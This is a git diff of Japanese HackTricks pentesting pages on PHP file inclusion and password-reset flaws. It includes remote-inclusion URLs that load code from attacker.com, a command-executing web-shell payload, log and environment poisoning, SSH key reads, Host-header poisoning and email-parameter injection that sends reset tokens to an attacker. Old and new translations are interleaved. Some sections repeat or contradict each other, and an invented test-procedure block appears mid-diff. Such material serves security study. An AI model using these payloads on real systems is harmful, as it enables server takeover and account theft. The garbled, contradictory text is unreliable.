RFI攻撃は、ウェブアプリケーションがユーザーからの入力を適切に検証せずに使用する場合に発生します。攻撃者は、ウェブアプリケーションが外部ファイルを読み込むためのパラメータを操作し、任意のファイルをサーバーに読み込ませることができます。
|
||||
RFI攻撃は、ウェブアプリケーションがユーザーからの入力を適切に検証せずにファイルを読み込む場合に発生します。攻撃者は、ウェブアプリケーションが読み込むファイルのパスを制御することができ、任意の外部ファイルを読み込むことができます。
|
||||
|
||||
RFI攻撃の一般的な手法は、外部のリソースをインクルードするための関数や機能を悪用することです。例えば、PHPの`include`や`require`関数を使用して外部ファイルを読み込む場合、攻撃者はそのパラメータを操作して任意のファイルを読み込ませることができます。
|
||||
RFI攻撃の一般的な手法は、外部のマルウェアを実行するために悪意のあるPHPスクリプトをサーバーに読み込むことです。攻撃者は、リモートサーバー上の悪意のあるスクリプトを実行することで、サーバー上で任意のコードを実行することができます。
|
||||
|
||||
RFI攻撃の影響は、攻撃者が読み込ませた外部ファイルの内容に依存します。攻撃者は、機密情報の漏洩、システムの乗っ取り、リモートコード実行など、さまざまな攻撃を実行することができます。
|
||||
RFI攻撃を実行するためには、以下の手順を実行する必要があります。
|
||||
|
||||
RFI攻撃を防ぐためには、入力の検証とサニタイズが重要です。ウェブアプリケーションは、外部ファイルを読み込む前に、パラメータの信頼性を確認する必要があります。また、セキュリティパッチやアップデートの適用も重要です。
|
||||
1. ターゲットアプリケーションの脆弱性を特定する。
|
||||
2. リモートファイルを読み込むためのパラメータを見つける。
|
||||
3. 攻撃者が制御できるリモートサーバー上の悪意のあるスクリプトを用意する。
|
||||
4. 悪意のあるスクリプトをターゲットアプリケーションに読み込ませる。
|
||||
|
||||
RFI攻撃は、ウェブアプリケーションのセキュリティに対する重大な脅威です。開発者は、ユーザーからの入力を適切に検証し、ファイルの読み込みに制限を設けることで、RFI攻撃からアプリケーションを保護する必要があります。
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
|
@ -289,7 +298,7 @@ PHPフィルターを使用すると、データを読み取る前または書
|
|||
* `mcrypt.*` : 廃止予定
|
||||
* `mdecrypt.*` : 廃止予定
|
||||
* その他のフィルター
|
||||
* phpで`var_dump(stream_get_filters());`を実行すると、いくつかの**予期しないフィルター**が見つかります:
|
||||
* phpで実行すると、いくつかの**予期しないフィルター**が見つかる場合があります:`var_dump(stream_get_filters());`
|
||||
* `consumed`
|
||||
* `dechunk`: HTTPチャンクエンコーディングを逆転させます
|
||||
* `convert.*`
|
||||
|
@ -324,7 +333,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
|
||||
### php://fd
|
||||
|
||||
このラッパーは、プロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれたファイルの内容を外部に持ち出すのに役立つ可能性があります。
|
||||
このラッパーは、プロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれたファイルの内容を外部に持ち出すのに役立つかもしれません:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
|
@ -351,21 +360,15 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
# data://
|
||||
|
||||
data://は、データスキームの一種であり、ウェブページ内に直接データを埋め込むために使用されます。このスキームは、ウェブページのコンテンツを外部ファイルから取得する必要がない場合に便利です。
|
||||
data://は、ファイルインクルージョン(File Inclusion)攻撃の一種です。この攻撃は、ウェブアプリケーションにおいて、外部ファイルを読み込むための機能が不適切に実装されている場合に悪用されます。
|
||||
|
||||
data://スキームは、HTMLやCSSのようなウェブコンテンツでよく使用されます。データは、Base64エンコードされた形式でURLに直接埋め込まれます。これにより、外部ファイルの読み込みやネットワークリクエストの必要性がなくなります。
|
||||
この攻撃では、攻撃者はウェブアプリケーションに対して、外部ファイルのパスを指定することができます。通常、ウェブアプリケーションは指定されたパスのファイルを読み込んで表示するため、攻撃者は任意のファイルを読み込むことができます。
|
||||
|
||||
data://スキームを使用すると、ウェブページの読み込み速度が向上し、セキュリティ上のリスクも軽減されます。ただし、データの埋め込みが大量になると、ページのサイズが増大し、パフォーマンスに影響を与える可能性があるため、注意が必要です。
|
||||
data://スキームは、攻撃者が攻撃に使用する外部ファイルを指定するために使用されます。このスキームを使用すると、攻撃者はデータスキームを介して直接データを提供することができます。これにより、攻撃者は任意のデータをウェブアプリケーションに注入することができます。
|
||||
|
||||
以下は、data://スキームの使用例です。
|
||||
この攻撃は、ウェブアプリケーションが外部ファイルを読み込む際に適切な入力検証や制限が行われていない場合に成功します。攻撃者は、機密情報の漏洩やシステムの乗っ取りなど、さまざまな悪影響を引き起こすことができます。
|
||||
|
||||
```html
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA..." alt="Embedded Image">
|
||||
```
|
||||
|
||||
この例では、Base64エンコードされたPNG画像が直接ウェブページに埋め込まれています。外部ファイルの読み込みが不要なため、画像の表示が高速に行われます。
|
||||
|
||||
data://スキームは、ウェブページのパフォーマンスを向上させるための便利なツールですが、適切に使用する必要があります。データの埋め込みが必要な場合は、data://スキームを検討してみてください。
|
||||
ウェブアプリケーションの開発者やセキュリティ担当者は、この攻撃に対する防御策を実装する必要があります。入力検証や制限の強化、外部ファイルの読み込みに関する適切なセキュリティ対策の実施などが重要です。また、セキュリティテストやペネトレーションテストを定期的に実施することも推奨されます。
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -381,7 +384,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
|
||||
### expect://
|
||||
|
||||
Expectは有効化する必要があります。これを使用してコードを実行できます。
|
||||
Expectを有効にする必要があります。これを使用してコードを実行できます。
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
|
@ -424,7 +427,7 @@ LFIが単にファイルを読み取り、その中のPHPコードを実行し
|
|||
|
||||
### その他のプロトコル
|
||||
|
||||
[**ここに含める可能性のあるプロトコル**](https://www.php.net/manual/en/wrappers.php)**を**チェックしてください**:
|
||||
[**ここに含める可能性のあるプロトコル**](https://www.php.net/manual/en/wrappers.php)**を**チェックしてください**:**
|
||||
|
||||
* [php://memoryとphp://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかはわかりません)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
|
||||
|
@ -453,31 +456,38 @@ assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
|||
```
|
||||
ペイロードを送信する前に、必ずURLエンコードしてください。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについて詳しく学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々において、Web3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
{% hint style="warning" %}
|
||||
このテクニックは、**PHP関数**が**ファイルにアクセス**するための**ファイルパス**を**制御**できる場合に関連しますが、ファイルの内容(**`file()`**への単純な呼び出しのように)は表示されません。
|
||||
このテクニックは、**PHP関数**が**ファイルにアクセス**する**ファイルパス**を**制御**できる場合に関連しますが、ファイルの内容(**`file()`**のような単純な呼び出し)は表示されません。
|
||||
{% endhint %}
|
||||
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、PHPフィルタを介して盲目的なパストラバーサルがどのように悪用され、エラーオラクルを介してファイルの内容を**外部に流出**させることが説明されています。
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、PHPフィルタを使用して**エラーオラクルを介してファイルの内容を外部に流出**させる方法が説明されています。
|
||||
|
||||
要約すると、このテクニックは、ファイルの内容を非常に**大きく**するために**「UCS-4LE」エンコーディング**を使用し、ファイルを開く**PHP関数がエラーをトリガー**するようにします。
|
||||
要約すると、このテクニックは、**「UCS-4LE」エンコーディング**を使用してファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数がエラーをトリガー**するようにします。
|
||||
|
||||
次に、最初の文字を漏洩させるために、フィルタ**`dechunk`**を他のフィルタ(例:**base64**または**rot13**)と共に使用し、最後にフィルタ**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**を使用して他の文字を**先頭に配置して漏洩**させます。
|
||||
次に、最初の文字を漏洩させるために、フィルタ**`dechunk`**が使用され、他のフィルタ(例:**base64**または**rot13**)と最後にフィルタ**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用され、他の文字が先頭に配置されて漏洩されます。
|
||||
|
||||
**脆弱性のある可能性のある関数**:`file_get_contents`、`readfile`、`finfo->file`、`getimagesize`、`md5_file`、`sha1_file`、`hash_file`、`file`、`parse_ini_file`、`copy`、`file_put_contents(これには読み取り専用のターゲットのみが対象)`、`stream_get_contents`、`fgets`、`fread`、`fgetc`、`fgetcsv`、`fpassthru`、`fputs`
|
||||
**脆弱性のある可能性のある関数**:`file_get_contents`、`readfile`、`finfo->file`、`getimagesize`、`md5_file`、`sha1_file`、`hash_file`、`file`、`parse_ini_file`、`copy`、`file_put_contents(これにより読み取り専用のターゲットのみが対象になります)`、`stream_get_contents`、`fgets`、`fread`、`fgetc`、`fgetcsv`、`fpassthru`、`fputs`
|
||||
|
||||
詳細な技術的な詳細については、上記の投稿を確認してください!
|
||||
詳細な技術情報については、上記の投稿を確認してください!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
|
@ -514,7 +524,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### メール経由
|
||||
|
||||
内部アカウント(user@localhost)に、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含むメールを送信し、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のパスを使用してユーザーのメールをインクルードしようとしてください。
|
||||
内部アカウント(user@localhost)に、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含むメールを送信し、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のパスでユーザーのメールをインクルードしようとしてください。
|
||||
|
||||
### /proc/\*/fd/\* 経由
|
||||
|
||||
|
@ -523,7 +533,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### /proc/self/environ 経由
|
||||
|
||||
ログファイルのように、User-Agentでペイロードを送信し、それが/proc/self/environファイル内に反映されるでしょう。
|
||||
ログファイルのように、ペイロードをUser-Agentに送信し、それが/proc/self/environファイル内に反映されます。
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
|
@ -610,15 +620,15 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
|||
```
|
||||
### SSHを介して
|
||||
|
||||
sshがアクティブな場合、使用されているユーザー(/proc/self/statusおよび/etc/passwd)を確認し、**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。
|
||||
SSHがアクティブである場合、使用されているユーザー(/proc/self/statusおよび/etc/passwd)を確認し、**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。
|
||||
|
||||
### vsftpdログを介して
|
||||
|
||||
このFTPサーバーのログは、_**/var/log/vsftpd.log**_に保存されます。LFIがあり、公開されたvsftpdサーバーにアクセスできる場合、ユーザー名にPHPペイロードを設定してログインし、LFIを使用してログにアクセスできます。
|
||||
|
||||
### ファイル不要のphpフィルターを介して
|
||||
### ファイル不要のPHPフィルタを介して
|
||||
|
||||
この[**解説記事**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**phpフィルターを使用して任意のコンテンツを生成**できることが説明されています。これは、ファイルに書き込む必要なく、インクルードのための**任意のphpコードを生成**できることを意味します。
|
||||
この[**解説記事**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**phpフィルタを使用して任意のコンテンツを生成**できることが説明されています。これは、ファイルに書き込む必要なく、インクルードのための**任意のphpコードを生成**できることを意味します。
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -642,13 +652,13 @@ sshがアクティブな場合、使用されているユーザー(/proc/self/
|
|||
|
||||
### PHP\_SESSION\_UPLOAD\_PROGRESSを介して
|
||||
|
||||
**セッションがない**場合でも、`session.auto_start`が`Off`である場合、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データで提供すると、PHPは**セッションを有効に**します。これを悪用してRCEを取得できます。
|
||||
**セッションがない**場合でも、**ローカルファイルインクルージョン**が見つかり、`session.auto_start`が`Off`に設定されている場合、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データで提供すると、PHPは**セッションを有効に**します。これを悪用してRCEを取得できます。
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Windowsでの一時ファイルアップロードを介して
|
||||
### Windowsの一時ファイルアップロードを介して
|
||||
|
||||
**ローカルファイルインクルージョン**が見つかり、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません。
|
||||
|
||||
|
@ -666,15 +676,15 @@ sshがアクティブな場合、使用されているユーザー(/proc/self/
|
|||
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パスの開示を介して
|
||||
|
||||
**ローカルファイルインクルージョン**が見つかり、一時ファイルのパスを**エクスフィルト**できるが、**サーバー**が**インクルードするファイルにPHPマークがあるかどうかをチェック**している場合、この**競合状態**を使用してそのチェックを**バイパス**できます。
|
||||
**ローカルファイルインクルージョン**が見つかり、一時ファイルのパスを**エクスフィルト**できるが、**サーバー**が**インクルードするファイルにPHPマークがあるかどうかをチェック**している場合、この**競合状態**を使用してそのチェックを**バイパス**できるかもしれません。
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 永遠の待機+ブルートフォースを介して
|
||||
### 永遠の待機 + ブルートフォースを介して
|
||||
|
||||
LFIを悪用して**一時ファイルをアップロード**し、サーバーのPHP実行を**停止**させることができれば、**数時間にわたってファイル名をブルートフォース**して一時ファイルを見つけることができます。
|
||||
LFIを悪用して**一時ファイルをアップロード**し、サーバーのPHP実行を**停止**させることができれば、その後、数時間にわたって**ファイル名をブルートフォース**して一時ファイルを見つけることができます。
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
@ -696,23 +706,26 @@ _PHP致命的なエラーを引き起こしても、アップロードされたP
|
|||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてさらに学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長途中のweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktr
|
||||
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)。
|
||||
|
||||
* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
|
|
@ -4,27 +4,34 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
以下のテクニックの再編集は、[https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)から取得されました。
|
||||
|
||||
## リファラ経由のパスワードリセットトークンの漏洩
|
||||
## パスワードリセットトークンのリファラ経由の漏洩
|
||||
|
||||
**HTTPリファラ**は、要求されているリソースにリンクされているウェブページのアドレスを識別するオプションのHTTPヘッダーフィールドです。リファラ要求ヘッダーには、現在要求されているページへのリンクが行われた前のウェブページのアドレスが含まれています。
|
||||
|
||||
|
@ -37,7 +44,7 @@
|
|||
* パスワードを変更しない
|
||||
* 任意のサードパーティのウェブサイト(例:Facebook、Twitter)をクリックする
|
||||
* Burpsuiteプロキシでリクエストをインターセプトする
|
||||
* リファラヘッダーがパスワードリセットトークンを漏洩しているかどうかを確認する
|
||||
* リファラヘッダーがパスワードリセットトークンを漏洩していないか確認する
|
||||
|
||||
### 影響
|
||||
|
||||
|
@ -53,14 +60,14 @@
|
|||
|
||||
## パスワードリセットの改ざん
|
||||
|
||||
ホストヘッダ攻撃を見つけ、スコープ外である場合は、パスワードリセットボタンを探してみてください!
|
||||
ホストヘッダ攻撃を見つけた場合で、スコープ外の場合は、パスワードリセットボタンを探してみてください!
|
||||
|
||||
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
||||
|
||||
### 悪用方法
|
||||
|
||||
* Burpsuiteでパスワードリセットリクエストをインターセプトする
|
||||
* 次のヘッダーを追加するか、Burpsuiteでヘッダーを編集する(1つずつ試してください)
|
||||
* 次のヘッダーを追加するか、Burpsuiteでヘッダーを編集する(1つずつ試してみる)
|
||||
```
|
||||
Host: attacker.com
|
||||
```
|
||||
|
@ -74,7 +81,7 @@ X-Forwarded-Host: attacker.com
|
|||
Host: target.com
|
||||
Host: attacker.com
|
||||
```
|
||||
* メール内のパスワード変更リンクが attacker.com を指していないか確認します。
|
||||
* メール内のパスワード変更リンクが attacker.com を指しているかどうかを確認します。
|
||||
|
||||
### パッチ
|
||||
|
||||
|
@ -84,7 +91,7 @@ $resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12
|
|||
```
|
||||
### 影響
|
||||
|
||||
被害者は、メールで悪意のあるリンクを受け取り、クリックすると、ユーザーのパスワードリセットリンク/トークンが攻撃者に漏洩し、アカウントが完全に乗っ取られる可能性があります。
|
||||
被害者は、メールで悪意のあるリンクを受け取り、クリックすると、ユーザーのパスワードリセットリンク/トークンが攻撃者に漏洩し、アカウントが完全に乗っ取られます。
|
||||
|
||||
### 参考:
|
||||
|
||||
|
@ -110,25 +117,47 @@ POST /resetPassword
|
|||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
* 攻撃者のメールアドレスを2番目のパラメータとして追加します。使用方法は `|` を使います。
|
||||
* 2番目のパラメータとして攻撃者のメールアドレスを追加します。使用方法: |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
* 2番目のパラメータとして攻撃者のメールアドレスをccとして追加します。
|
||||
# パスワードリセットのテスト
|
||||
|
||||
## 概要
|
||||
|
||||
このテストは、パスワードリセット機能のセキュリティを評価するために行われます。攻撃者がリセットリンクを取得し、他のユーザーのパスワードをリセットすることができるかどうかを確認します。
|
||||
|
||||
## 攻撃手法
|
||||
|
||||
攻撃者は、リセットリンクを取得するために、攻撃者のメールアドレスを `cc` の第2パラメータとして追加します。
|
||||
|
||||
## テスト手順
|
||||
|
||||
1. 攻撃者のメールアドレスを `cc` の第2パラメータとして追加します。
|
||||
2. パスワードリセットリクエストを送信します。
|
||||
3. リセットリンクを取得します。
|
||||
4. リセットリンクを使用して他のユーザーのパスワードをリセットします。
|
||||
5. リセットが成功したかどうかを確認します。
|
||||
|
||||
## 注意事項
|
||||
|
||||
- このテストは、適切な許可を得た場合にのみ実施してください。
|
||||
- テスト中に他のユーザーのパスワードをリセットしないでください。
|
||||
- テストが完了したら、攻撃者のメールアドレスを `cc` の第2パラメータから削除してください。
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
* 2番目のパラメータとして攻撃者のメールアドレスをBCCに追加します。
|
||||
* 2番目のパラメータとして攻撃者のメールアドレスをBCCとして追加します。
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
* 攻撃者のメールアドレスを2番目のパラメータとして追加します。`,`を使用してください。
|
||||
* 2番目のパラメータとして攻撃者のメールアドレスを追加します。`,`を使用してください。
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
@ -150,7 +179,7 @@ POST /resetPassword
|
|||
|
||||
### 攻撃手法
|
||||
|
||||
* 攻撃者は自分のアカウントでログインし、パスワード変更機能に移動する必要があります
|
||||
* 攻撃者は自分のアカウントでログインし、パスワード変更機能に移動します
|
||||
* Burp Suiteを起動し、リクエストをインターセプトします
|
||||
* リクエストをインターセプトした後、リピーターに送信し、メールアドレスとパスワードのパラメータを変更します
|
||||
```php
|
||||
|
@ -166,7 +195,7 @@ POST /api/changepass
|
|||
|
||||
### 悪用
|
||||
|
||||
* Burp Suiteを起動し、パスワードリセットリクエストをインターセプトします
|
||||
* Burp Suiteを起動し、パスワードリセットのリクエストをインターセプトします
|
||||
* イントルーダーに送信します
|
||||
* ヌルペイロードを使用します
|
||||
|
||||
|
@ -197,15 +226,15 @@ Burp Sequencerを使用してトークンのランダム性や予測可能性を
|
|||
異なるタイプのGUIDがあります:
|
||||
|
||||
* **バージョン0:** nil GUID("00000000-0000-0000-0000-000000000000")でのみ見られます。
|
||||
* **バージョン1:** GUIDは次のように予測可能な方法で生成されます:
|
||||
* **バージョン1:** GUIDは次の要素に基づいて予測可能な方法で生成されます:
|
||||
* 現在の時刻
|
||||
